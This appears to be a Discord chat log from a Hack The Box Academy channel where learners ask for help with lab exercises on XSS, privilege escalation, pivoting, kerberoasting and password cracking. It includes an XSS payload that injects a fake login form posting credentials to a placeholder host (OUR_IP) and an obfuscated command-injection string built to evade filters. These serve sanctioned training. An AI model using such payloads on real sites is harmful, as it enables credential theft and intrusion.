• 1 Investigate the USN Journal located at "C:\Users\johndoe\Desktop\kapefiles\ntfs%5C%5C.%5CC%3A$Extend$UsnJrnl%3A$J" to determine how "advanced_ip_scanner.exe" was introduced to the compromised system. Enter the name of the associated process as your answer. Answer format: _.exe

[sharp nexus]

How do I find the index number of a file??

am confusion

I tried ls -la

but none of the numbers seem to work

[rustic sage]

is there a way to get an iso of the version of the HTB version of parrot OS used on the site that brings all the wordlists and stuff?

[sinful olive]

OK I feel really stupid or I miss something...
in AD Enumeration & Attacks - Skills Assessment Part II - question 1:
I tried all the methods to find users, but only kerbrute worked.. found 57 users
tried all the passwords in the modules about password spraying but nothing worked.
How am I suppose to guess the password?

[sharp nexus]

I honestly don't even remember any reference to index numbers for files in the module, so I'm not exactly sure where it's wanting me to look

nvm

forgot about -i

[lusty thicket]

using the tool shown in the module responder

[echo zephyr]

Hello! I ran into a problem in the CROSS-SITE SCRIPTING (XSS) module - phishing. When trying to delete an image url input element using the

document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();<!--

As a result, a fake authorization form appears on the site, but the image url input field does not disappear and a piece of code sticks out

');');document.getElementById('urlform').remove();

Nothing is working. Can someone tell me what I'm doing wrong? Thanks!

[fiery berry]

Try with this:
||```
;document.getElementById('urlform').remove()</script><!--

Probably you aren't closing the rest of the HTML code

[surreal nymph]

Hey hackers , I'm in nibbles priv escalation..I uploaded a reverse shell ..got my bash shell..now I wanna be root so i ram LinEnum to find that monitor can be run without root password. Now. , when i execute sudo bash monitor.sh . It' asks for sudo password. But why ?

[rustic sage]

dont use the enumerator scripts, getting the solution is a lot simpler

@surreal nymph there's a command that will tell you what programs you can run as sudo, use that to check for what you can run via gtfobins

[surreal nymph]

@rustic sage Thank you for your response. I'll check it out ! 👍

[next bronze]

monitor.sh is the right way to go though. your command is trying to run bash as sudo, try running the script directly

[rustic sage]

ah wait it's not gtfobins it's payloadallthethings sorry

[candid lily]

tunneling with rdp help

nvm got it i had to run as admin

[sinful olive]

OK got it.. thanks. Had to use verbose mode in Responder

[candid lily]

eee this exercise is tunneling my brain

yep i did it again i forgot to run rdp as admin

[lusty thicket]

awesome!

[lusty thicket]

sudo ./.sh

[valid adder]

hi who can talk with me about learning english for hacking

[candid lily]

show the sudo -l result

[dawn thorn]

You got me!

[valid adder]

okey i am 14 years old and my english is not good. I want to learn cyber security and i dont wanna pay money for learn english what should i do

[valid adder]

.

[dawn thorn]

English is a very easy to learn language, so don't worry, learning it would be a breeze for you.
You have to just include english in your daily routine conversations (verbal is effective).
You can watch english movies or content with subtitles on.
You can read write ups or novel stories to capture the flow.
You can write something about your day every night in 200-300 words.
As simple as that.
I just wrote this all randomly, so don't mind the writing errors.

[candid lily]

ahhhh

[valid adder]

i did but i cant see the effect

[dawn thorn]

It is a constant or consistent journey, things take a bit time to establish. Just Keep going..

[acoustic owl]

You can translate the Academy modules into your native language with deepl. This way you learn both english and hacking

[dawn thorn]

However, i am not a native english speaker, i still learning to communicate with corporates

[valid adder]

but this way can works for me just beginning

[dawn thorn]

Are you from Russia?

[valid adder]

nope

[dawn thorn]

Then..?

What was the error that you fixed?

[stiff bone]

Hi all! Can anyone help with the skill assessment for HTTP ATTACKS. I bypassed WAF, it turned out to be not difficult, I have several ways to smuggle a request, but I do not receive a response letter, which I redirect to myself. I tried all possible options, but unfortunately nothing gives me any information that I could cling to, since the response letter does not arrive.

[dawn thorn]

Sometimes, we transform a simple issue into an escalated problem. It happens to me, a lot!

[next bronze]

<@&861185840277487616>

you need to @ the role lol

[thorn urchin]

anyone can use it

[leaden pond]

Module: Attacking Enterprise Network

Section: Exploitation and Privilege Escalation

I'm stuck just on trying to browse to the target website ||(172.16.8.20)||. I have ||used SSH port forwarding for port 8081 and modified /etc/proxychains.conf, and I have also updated my proxy settings in firefox||. Back in my ||root@dmz01|| shell (which I spawned through ||dynamic port forwarding||), I see a bunch of messages saying "Temporary failure in name resolution." I'm not sure how to fix that.

[opaque gale]

From a general standpoint sounds like incorrect DNS settings, but you're trying to get to something by IP so maybe it's an unrelated error message.

[leaden pond]

I'm pretty sure it's related, because the error messages pop up in the shell soon after I try to browse to the IP

[opaque gale]

Are you trying to SSH to the IP or open it up in a web browser, I'm on the SOC path so not familiar with the module you reference.

I have a feeling it's something pretty simple like a typo or something or firefox trying to do a google search for the IP and it can't resolve google.com

[next bronze]

if you're browsing to an IP it shouldn't use DNS at all

[leaden pond]

Sorry for the confusion - I've ||SSHed as root into a box on the perimeter of the target network, and I'm trying to use it as a pivot host to attack boxes on the internal network||. One of the internal IP addresses is ||172.16.8.20, which has port 80 open||. Given that I've set up ||a pivot as root on dmz01 (on the network perimeter)||, I should be able to browse to the site.

[leaden pond]

Yeah good point lol

I'm going to try ||setting up the pivot using a tool other than proxychains (Metasploit, Ligolo)|| and see if that is more stable.

[opaque gale]

Can you ping the IP from the box in the DMZ? Best to check lower levels of the OSI model first before trying something like port 80, and internal host would probably not accept connections from hosts in the DMZ.

[fathom pendant]

bear in mind that most people want to do Attacking Enterprise Blind

so you're already revealing quite a bit about the network: Can you please use spoiler tags || before and after

||like this||

that at least lets people who are interested in helping you to help without fully spoiling anything for people who still want it blind

(like myself)

[leaden pond]

Yes, great point. Thank you. I'll delete my previous messages.

[fathom pendant]

you don't need to delete, you can just ||edit them in||

lol it's not twitter; edit features exist

[opaque gale]

What's Twatter only familiar with X and TikTok because I was born this year with an iPad in my swaddle.

[leaden pond]

I'm going to take a break for now and come back to this tomorrow. Thanks to those who offered help!

[fathom pendant]

the only appropriate app to deadname is twitter

and idk if you're being serious

[opaque gale]

Edited to remove ambiguity.

[tiny ember]

So working on the command injection module, and one of the side exercises is to see about getting a command escaped. Here is it in the module:

$(a="WhOaMi";printf %s "${a,,}")

Here is my version with items spaced out so its more apparent what I escaped and didn't

$ ( a = " whoami " ; printf % s " ${a,,} " )
$%28a%3d%22wh'oa'mi%22%3bp'ri'ntf%09%25s%09%22${a,,}%22%29

any help would be appreciated. This is a linux box testing against

[next horizon]

hi everyone, I am unable to pass the current section because "Target: Click here to spawn the target system!" doesn't show the target ip, hence I am not sure how can I find the right ip on which I should complete the section and answer the question, any suggestion?

[sly dome]

you have to spawn it

[next horizon]

what do u mean

[fathom pendant]

Click it

:^)

[next horizon]

I do click it but it doens't show anything

[fathom pendant]

Does it do "Target is spawning"

[next horizon]

yes

but then doesn't show anything

[fathom pendant]

what module and section is it?

are you able to spawn targets in other sections?

[next horizon]

module/35/section/247 web requests GET

I am not sure , but I was able to do that before

[fathom pendant]

module numbers mean nothing

the actual name helps more

try refreshing the page

[next horizon]

HTTP fundamentals

[fathom pendant]

or clearing cache and relogging in to try again

[next horizon]

I did refresh it a lot,

good idea, I will clear the cache

[tiny ember]

also disable any ad blockers

[sly dome]

for me its spawning

[fathom pendant]

I don't see a module named "HTTP Fundamentals"

fwiw Module name means the name that's in the tab/title of the page; section refers to the small part that you're working on

I.E. "Web Requests; HTTP Fundamentals"

[next horizon]

Module Name is Web Requests

I did clear the cache, relogged, but still, when I click on it, it says Target is spawning, then it shows again the "Target: click here to spawn the target system"

[fathom pendant]

As Rafa said its working for them

[next horizon]

and not showing the ip or the websit ethat I should be practicing on

[compact patrol]

https://help.hackthebox.com/en/articles/5986762-contacting-htb-support

[fathom pendant]

I was able to launch all the servers there

Did you try changing vpn region?

That might not fix it

But eh worth a shot

(Reason it might not is because these web servers are public ips)

[next horizon]

okay

so I disabled all the VPNs, but still it didn't work

however, going into the developer tools, looking at the request, I found the response with the ip and port number, now it does work. However, the HTB website itself doesn't show this response, for some reason, no idea why

[fathom pendant]

¯_(ツ)_/¯

That's a support related question

[next horizon]

seems like so

these kind of bugs are quite annoying 😉 but thanks guys for your support

[sly dome]

its in your side

since for everyone else works

[candid lily]

pivoting and tunneling skills assessment - i got hashes for the user, but i cant crack them

tried rockyou with deadone

[ocean night]

If you can raise it with support, please include OS, Browser and version, and any plugins enabled. Thank you

[plucky mural]

Just finished the Web Attacks skill assessment and my days, definitely one of the most thrilling, even tho I spent like 4hrs on it 💀

[next bronze]

probably not meant to be cracked, if it's ntlm you can pth

[next horizon]

will do bro, I hope they will fix it

[ocean night]

If you have that info now I can include it internally

[candid lily]

but that is not in this module

[hallow kiln]

Don't recall any hashes for that assessment, I think you could find passwords there 🤔

[ocean night]

If you want to drop that info in DM I can include it in the message I raised internally about this - see the same issue a couple of times recently (including you) from people

[candid lily]

find passwords or extract from lsass

[next horizon]

okay, let me DM you with the info

[ocean night]

Thanks!

[candid lily]

because the hint says this

[hallow kiln]

I use "find" very broadly there

That's a pretty good hint

[next bronze]

lsass doesn't have to only contain hashes

[hallow kiln]

Mimikatz is your friend, look at the most common commands you can run

[fathom pendant]

iirc i remember facepalming SUPER hard

like it was that simple

[candid lily]

oh i got it now, before i used mimikatz wrong

[manic onyx]

I am doing the medium Footprinting lab right now and found some database user credentials, but I don't see any open SQL databases. I guess it may be an internally hosted database only but I don't seem to have the creds to login via winrm to check for that and login to the db. Am I missing something?

[fathom pendant]

Then you better footprint some login details :)

[manic onyx]

lmao I will keep looking

[fathom pendant]

reading the brief and doing some nmap stuff will show you open ports

¯_(ツ)_/¯

[manic onyx]

juts got it -_-

Probably should have realized this earlier lol

[fathom pendant]

also iirc that one (once RDP in) you need to do some digging around to find creds for SQL

[tiny ember]

Bump? #modules message

[ocean night]

Casing is important sometimes.

[next bronze]

still working or just hanging out?

[ocean night]

Just hanging, but like to help if I can

[next bronze]

ah I see, happy holidays 🎉

[ocean night]

You too

[maiden field]

Hey i'm having some problems in the module Windows Event Logs & Finding Evil in the section Analyzing Evil With Sysmon & Event Logs. I don't really understand how to do the dll injection if someone can dm me it would be easier 🙂

The question is Replicate the DLL hijacking attack described in this section and provide the SHA256 hash of the malicious WININET.dll as your answer. "C:\Tools\Sysmon" and "C:\Tools\Reflective DLLInjection" on the spawned target contain everything you need.

[fathom pendant]

Especially in a linux context

[maiden field]

||I did this command in cmd calc.exe 7 C:\WININET.dll the calculator open but it doesnt seem like its injecting the dll since i dont get the hello world and the hash i'm entering is wrong||

[opaque gale]

Life or Death?

[slender shoal]

Please read #rules and #welcome and ensure this channel stays on topic.

[opaque gale]

Is it a module related issue?

Have you tried to HTB Academy forums?

How about google

or heck even chatGPT

Nah bruh

Wrong neighborgood, sry.

[sand prism]

Hey guys im currently on Password Attacks Lab - Hard and Ive found a Logins.kdbx file and ive cracked it and Got the password Qwert*** but ti doesnt work for the user david what am i doing wrong?

[opaque gale]

Hehe, KDBX, what program you know of uses those password DB files?

[sand prism]

i used keepass2john to cturn it into a hash

someone please kick this person

[slender shoal]

You can contact the police. We cannot help you.

[next bronze]

did you open the vault

[opaque gale]

I only know KDBX because we used to use it at work, but it got replaced with a commercial solution.

[sand prism]

Wdym? Ive tried to smb into davids share but it shows the password is wrong

[opaque gale]

So a vault typically contains?

a software vault

maybe the pw you are using is for the vault and not the user acc

that should give you enough info.

HTB blows my mind with how well their modules apply to the real world.

[sand prism]

what is a vauly wdym

[opaque gale]

won't give you any more, you have the file type already just use google

and what xre0us said

[next bronze]

you should look up what's a kdbx file

[sand prism]

its a keepass file right?

[opaque gale]

maybe

[sand prism]

Yeah exactly ive got the hash using keepass2john and i cracked the hash but it doersnt work

[opaque gale]

doesn't work on the share?

[sand prism]

nope

[opaque gale]

it's not supposed to

[sand prism]

ive checked a online walktrhough and thats what they do it just doiesnt work for me because im stuck

[next bronze]

again, did you open the vault?

[opaque gale]

Is this part of the pen test path?

[sand prism]

please explain im genuinly confused

yeah

[opaque gale]

Ez cubes.

[sand prism]

is the vault lssas hklm sam or whatever?

[opaque gale]

negative good sir

[sand prism]

Is that a yes or no

[opaque gale]

negative = no

[sand prism]

Your messing with my brain please

good = postitivve

[opaque gale]

not really, affirmative = yes

[sand prism]

Please someone give me a hint atleast

[next bronze]

google what a kdbx file is and what it can contain

[sand prism]

ok

[opaque gale]

Yea take above advice it's easy

[sand prism]

i feel stupid asf

[fathom pendant]

You're really overlooking the obvious dude

[sand prism]

😆

Hahahahahahaha

[fathom pendant]

Someone the other day legit did the same thing

[sand prism]

Yeah alr i got it now it was a stupid mistake

[fathom pendant]

Best steps when you start getting frustrated is to step back and re-evaluate

[sand prism]

yup

[next bronze]

another thing I would suggest is when you try to harvest hashes from something and crack it, understand what that thing is first

[fathom pendant]

Tbh your first mistake was following a guide

For the skills assessments if you need to follow a guide you already failed yourself

I haven't really run into a skill assessment that's tactics weren't covered by the material

Guides for tier0 content are permitted to be posted

I've considered doing guides for them as a side thing

¯_(ツ)_/¯

I mean if you find it just report it to htb, and they can take actions :p

the goals of the modules aren't to complete them as fast as possible. It's to actually learn the material ¯_(ツ)_/¯

Getting nudged in the right direction or affirming that you're on the right path isn't bad

[ocean night]

You wanna check boxes, buy some graph paper and a pencil. You wanna learn? Work through it and grow

[fathom pendant]

I had some brain dead moments when I just jumped straight back into ad enum module

Which is why I'm taking the effort to re-do the earlier sections. (Ldapsearch )

It also helps me reaffirm techniques that would help me later

[ocean night]

Always good to recap, and that moment when you're running through and realise "shit, I know this". It's a great feeling.

[fathom pendant]

Yeah because doing it in windows was natural, but doing it in Linux was so foreign (even though it was the same damn thing ) I also tend to mess with the commands to learn what I can also search for

Like learning "hey I can just have it output x,y,z from the search instead of a wall of text to parse"

[sterile epoch]

Module - Intro to windows command line
section - skills assessment
How many hidden files exist on user3's Desktop?

it is not working

0 is not the answer

[next bronze]

are you using the right user? what happens when you run the command without .count

[sterile epoch]

yes

[fathom pendant]

Also that command is missing a flag for hidden

Oh nvm

Try doing it without the .count

And see

[sterile epoch]

I got the answer but I wanna show it for a second

I will delete it then

[errant hawk]

Not sure if this is the appropriate place to ask this but on HTB where do people recommend starting out. I have no prior pen experience. Started IT this year so only got the 1 year help desk support primarily on Windows with a lil Mac, also done MS certs AZ-900/SC-900 and ISC2 CC. So just wondering if HTB is a good start point

[fathom pendant]

Academy has an infosec Fundamentals course

[sterile epoch]

see fast

did you see the answer?

[fathom pendant]

Who do you want us to hack this time

[next bronze]

yeah I know what the answer is

[sterile epoch]

Am I crazy or is the question wrong?

[errant hawk]

Cheers, I will check that out

[fathom pendant]

¯_(ツ)_/¯

Did you read the #rules

[sterile epoch]

dude

[fathom pendant]

If it's a fake account who's to say they didn't register it under a fake name

[hallow kiln]

that's illegal, no one here is going to do that, reavaluate your childish behaviour and find something better to do with your time

[fathom pendant]

It falls under illegal activities, just report it to insta and block them

[next bronze]

how's the question wrong

[fathom pendant]

Don't make me pull out the ping that brings in the mods

Ok?

[hallow kiln]

then turn to the police 🤷

[sterile epoch]

its asking me for hidden file but I used
(get-childitem).count

[fathom pendant]

[We are not helping you]

This is the last time we are telling you

This isn't a hacker4hire server

Not here

[next bronze]

might be a problem with the target, the files should be hidden

[hallow kiln]

and any server like that will probably scam you out of your money, happily

[fathom pendant]

And most of those end up being scams anyway

[sterile epoch]

yep anyways I got the answer

[sterile epoch]

so do I need to report it to support?

[fathom pendant]

Sad, good luck

[shut wraith]

I have a question regarding mounts. Do connected devices automatically go to SCSI Disks available such as /dev/sdb? And then in order to access the device you have to mount it to a folder. Am I missing anything?

[hallow kiln]

Marcie like "then perish"

[next bronze]

no just reset it and try again

[sterile epoch]

ok

[fathom pendant]

I mean, reality of it is: be careful what you put on the internet, and who you share it with

If any explicit photos of me got leaked I shrimply would not care, as the moment it left my storage device to go to somewhere else - control is no longer mine

[hallow kiln]

it sucks majorly, but only thing to do is report it wherever applicable

revenge hacking or whatever people imagine wouldn't make it disappear

[sterile epoch]

I believe in keeping it strictly to the brain. Or in a safe if its really something once in a lifetime.

devs added a terminate button on the target. feels good to save resources

[fathom pendant]

¯_(ツ)_/¯

[fathom pendant]

I mean it's good for completely ending the target and starting a new one instead of hoping 'reset' fixes it

[sterile epoch]

now I can sleep tight knowing I am not making any waste. thanks guys for the help and merry christmas

[fathom pendant]

They die on their own anyway

[sterile epoch]

well thats life

[supple gorge]

Deteciting windows Attacks with Splunk

Detecting Golden Tickets/Silver Tickets:

For which "service" did the user named Barbi generate a silver ticket?

a bit lost on how to find this service

got the right answer... not using splunk, but checking one of the screenshots of them demonstrating the attack... not sure if that's the intended route. Question is, how to find out which service the ticket is for through splunk

[opaque gale]

Silver ticket?

never heard of it but thats like on of the last modules

when i get there ill help you out xdd

[ocean night]

You have some resources available in the module that you can use with Splunk to investigate. Go from there

The process you need is covered in the module section

[supple gorge]

The section mentioned a users.csv file. That wasn't the problem.

[supple gorge]

Thanks for the disposition. Hope you reach your goals soon

[opaque gale]

TBH, you'll figure it out b4 i reach my "goal"

[ocean night]

Definintely not the intended way, and the module taught the steps to find the intended, but have raised this point with the team.

[opaque gale]

Can't go any faster than I am.

[ocean night]

Excellent observation though 😉

[opaque gale]

Saturdays and Sundays are dedicated to HTB

I work 110 hours every 2 weeks on average, because my co-workers call out sick and I take their shift to make sure we have coverage.

Coverage for silly AF issues btw

[supple gorge]

I used both queries shown in the silver ticket option but ticket service isn't one of the fields. Am I being too close minded?

I looked at the associated logs, I filtered by account_name barbi, but couldn't find it

[opaque gale]

Which is why I'm even doing this in the first place.

Oh you need a PW reset on Saturday because you were to damn lazy to use self-service?
But I digress, going to STFU now because this channel is about modules.

[supple gorge]

That sucks man

[opaque gale]

Appreciate your reaction.

[supple gorge]

Lol. I see you're frustrated. At least it seems it's fueling you to keep going

[opaque gale]

You in a real Cyber Role?

[supple gorge]

Nope

[opaque gale]

Hell even tuning alerts for SIEMs.

Reviewing phising emails, lmao.

It really is, motivation fueled by anger is only short term, but it's good while it works.

[supple gorge]

Step by step. Which module are you on?

[opaque gale]

What a thoughtful question, thanks for asking, I am on Windows Attack And Defense, in the SOC Analyst Tier 1 Path, sounds like you are doing the same but you are almost at the end.

I have my CYSA+ scheduled for Jan 12th but honest CompTIA certs are Vocab tests I have learned more on HTB Academy platform that Sec+, CySA+ and CCNA combined.

Yesterday I had the most fun I have ever had going through a module.

Kinda intimidated by the report section, but I know if I can do it, then it will be worth it.

Glad this discord and the company in general exist.

[supple gorge]

You're in a similar spot as I was, hmm 2 weeks ago. I was on windows attack and defense taking the CySa+ keep at it. Cysa+ is more widely known.

Regarding the report... Hehe I'll only be able to coment once I finish the exam

[opaque gale]

LOL.

[slender shoal]

You can always write a mock report and get practice.

[opaque gale]

Indeed brother, I think you can practice with the approved platform they use before hand, but yea Sec+ is like bare bones minimum for a hiring manager to even entertain hiring you, did you pass the CySA+?

[opaque gale]

^this

[supple gorge]

Yup. Passed it 2 weeks ago. Got a 760, passing is 750 😅

[opaque gale]

Lmao, it was probably mostly theory, I know there's an NDA so you don't have to answer, but going through HTB's CDSA I feel like the CYSA+ should be child's play.

No point to spring for a CASP+ until you land a cyber def/off job anyway, and in that case may as well go for CISSP.

I am only getting it to renew my Sec+.

Congratz btw.

[supple gorge]

They don't completely overlap. But I'd say the CySa+ was ok. Although I've heard people saying it's child's play. Cdsa helps a bit with it

Anyone ever used the pwn box on mobile?

[opaque gale]

Yea imo hands on always trumps theory. Even if you don't understand fully what commands you are issuing.

[slender shoal]

Recomending this coversation be moved over to #cdsa or #careers-and-certs.

[supple gorge]

This is on topic right? Lol

[opaque gale]

There's a pwnbox channel.

But to answer your question no i have not.

[ocean night]

Giving you a DM @supple gorge .. can't guarantee I can help, but will nudge if I can

[supple gorge]

Thanks 🙂

[fathom pendant]

You'd need a mobile keyboard to work it

[supple gorge]

Or go the insane route. Thanks for specifying:))))

[fathom pendant]

I'm back at the ldap query stuff 😢 woo

Tfw I realize why it wasn't working querying a domain for a local group instead of you know using the local group net command

[opaque gale]

But I wanna be a pentester /s

[supple gorge]

There is something going on with the gcspn field. Deleting the search gcspn on the end works

NVM it's not supposed to work...

[fathom pendant]

[quick cloud]

Im doing the AD Enumeration & Attacks - Skills Assessment Part 1 and on the question "Kerberoast an account with the SPN MSSQLSvc/SQL01.inlanefreight.local:1433 and submit the account name as your answer". Im trying to do the semi manual way of kerberoasting but for some reason "Add-Type -AssemblyName System.IdentityModel" is not working. I get this error when attempting to kerberoast a single user "New-Object : Cannot find type [System.IdentityModel.Tokens.KerberosRequestorSecurityToken]: verify that the assembly
containing this type is loaded." What am I missing?

[fathom pendant]

Sometimes it's dumb tbh

[quick cloud]

try harder it is

[quick cloud]

Each command is separated in a separate powershell process on antak webshell so you must use a semicolon to run commands in the same process.

[next bronze]

that's why you should ditch webshells asap

[fathom pendant]

^

Get a revshell running powershell one-liners go brrr

[quick cloud]

I see

[nocturne flint]

Regarding Shells & Payloads - The Live Engagement, Host 2. How can I find out about the username and password?
I found the info in the hint, but how to find the username and password without looking at the hint?

[fathom pendant]

Desktop

It's literally one of the most overlooked things of that assessment lol

[nocturne flint]

🤦‍♀️

[lusty thicket]

it wasn’t hidden

[nocturne flint]

it was not...I just didn't look properly.

[fathom pendant]

it happens

[sullen bone]

Hi! Got a question about reporting. Would you report the classic docker privesc (mounting the host filesystem in a container)? If so, how? I'm working on a case where the compromised low-privileged user needs to belong to the docker group. In what type of vulnerability would you classify this?

[sly grotto]

Hey, could you please help me with the Linux privilege escalation Docker module? When I run docker -H unix:///run/docker.sock ps or docker -H unix:///var/run/docker.sock ps, I get nothing, as it seems that docker image is not running.

[lusty thicket]

run the command docker images to confirm

[shell ore]

hey are HTB academy having maintenence or smth rn?

i cant rdp into any module machine 😅

[charred sable]

works fine for me , try to restart the target

[shell ore]

tried with couple machines, reseted couple of times, same thing 😅

can anyone help?

its smth from HTB side i think, cuz i tried to do it from the pwnbox and im getting the same thing

[misty current]

It says STATUS_LOGON_FAILURE. That means the credentials you're supplying are wrong.

Wrap the password in single quotes.

The characters are prolly escaping.

[shell ore]

yaayyy another error 😂

thanks

but now what is this

the rdp stays blackscreen

[lusty thicket]

press enter

[shell ore]

the vpn is so laggy and slow, weird

[lusty thicket]

change regions

[shell ore]

didnt work

[shell ore]

i tried

[tulip dragon]

where can I learn more about this

[lusty thicket]

you can use a personal vm (idk if it’ll be any faster)

[lusty thicket]

same man

[shell ore]

thats what im using

[misty current]

Clicking on the black screen and press enter should have worked.

[shell ore]

didnt

[lusty thicket]

strange

[latent glen]

MerryChristmas everybody!

[shell ore]

ok so i changed the vpn file to TCP, and it started working just fine

arent vpns usually better UDP?

[shell ore]

and thanks to u for the password wrapping thing ❤️

[lusty thicket]

merry christmas nbody

[marsh turret]

thanks

[lusty thicket]

can’t reliably use rdp with a udp ovpn file

[marsh turret]

i am new here here an dwanna learn more

[shell ore]

tbh i've always did that, didnt face problems before

[lusty thicket]

strange

[marsh turret]

about what

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[main spear]

Hello, i am doing the Windows privilege escalation module "Citrix Breakout" and i have to open a smb serveur with smbserver.py but unfortunately i dont have the tools in the provided machine and i can't upload it from my machine..

Does anyone have this problem ?

[autumn pilot]

the tools are already there

[main spear]

I have the tools like PowerUp on the ubuntu machine, but i don't have smbserver.py on the ubuntu machine. I can't upload them to the restricted environment Windows 7 to launch PowerUp

Or maybe i missed something ?

[next bronze]

that machine does have smbserver.py

[main spear]

Ah yees i finally found it

mybad

i though i had to have it in Tools

but i can use it without a path

[open hollow]

Anyone who has done the "Intro to Assembly" skill assessment task 1?
I have tried everything that I could but still no luck 😔

[chrome flower]

In Vulnerability Assessment with nessus, I should be using the vpn to scan, right?

meaning I better switch to linux because it is easier to setup things there...

[sinful olive]

I tried every option for Q4 in AD Enumeration & Attacks - Skills Assessment Part II
crackmapexec, kerbrute, and even DomainPasswordSpray.ps1
none of them shows me users... What am I missing?

[lusty thicket]

strange

use the tool responder which was covered in the module

[sinful olive]

It worked for the first q. but not showing another user..

[ruby ginkgo]

Attacking Common Services - Medium Lab i can find only find 4 open ports? i reseted target many time but i can find only 4 open ports

[lusty thicket]

reset nd use the option -p- this time

[ruby ginkgo]

i did

[lusty thicket]

what question is that?

[lusty thicket]

strange reset and try again

[sinful olive]

Q4.. I tried all the options for a few days now and it doesn't work..

[ruby ginkgo]

okayy

[lusty thicket]

a common method like password spraying using common passwords against a list of valid users

[sinful olive]

Yes.. the problem is how do i find the valid users? all these tools show me only 1 user - A***, which I used for the first question

[lusty thicket]

read the man page of crackmapexec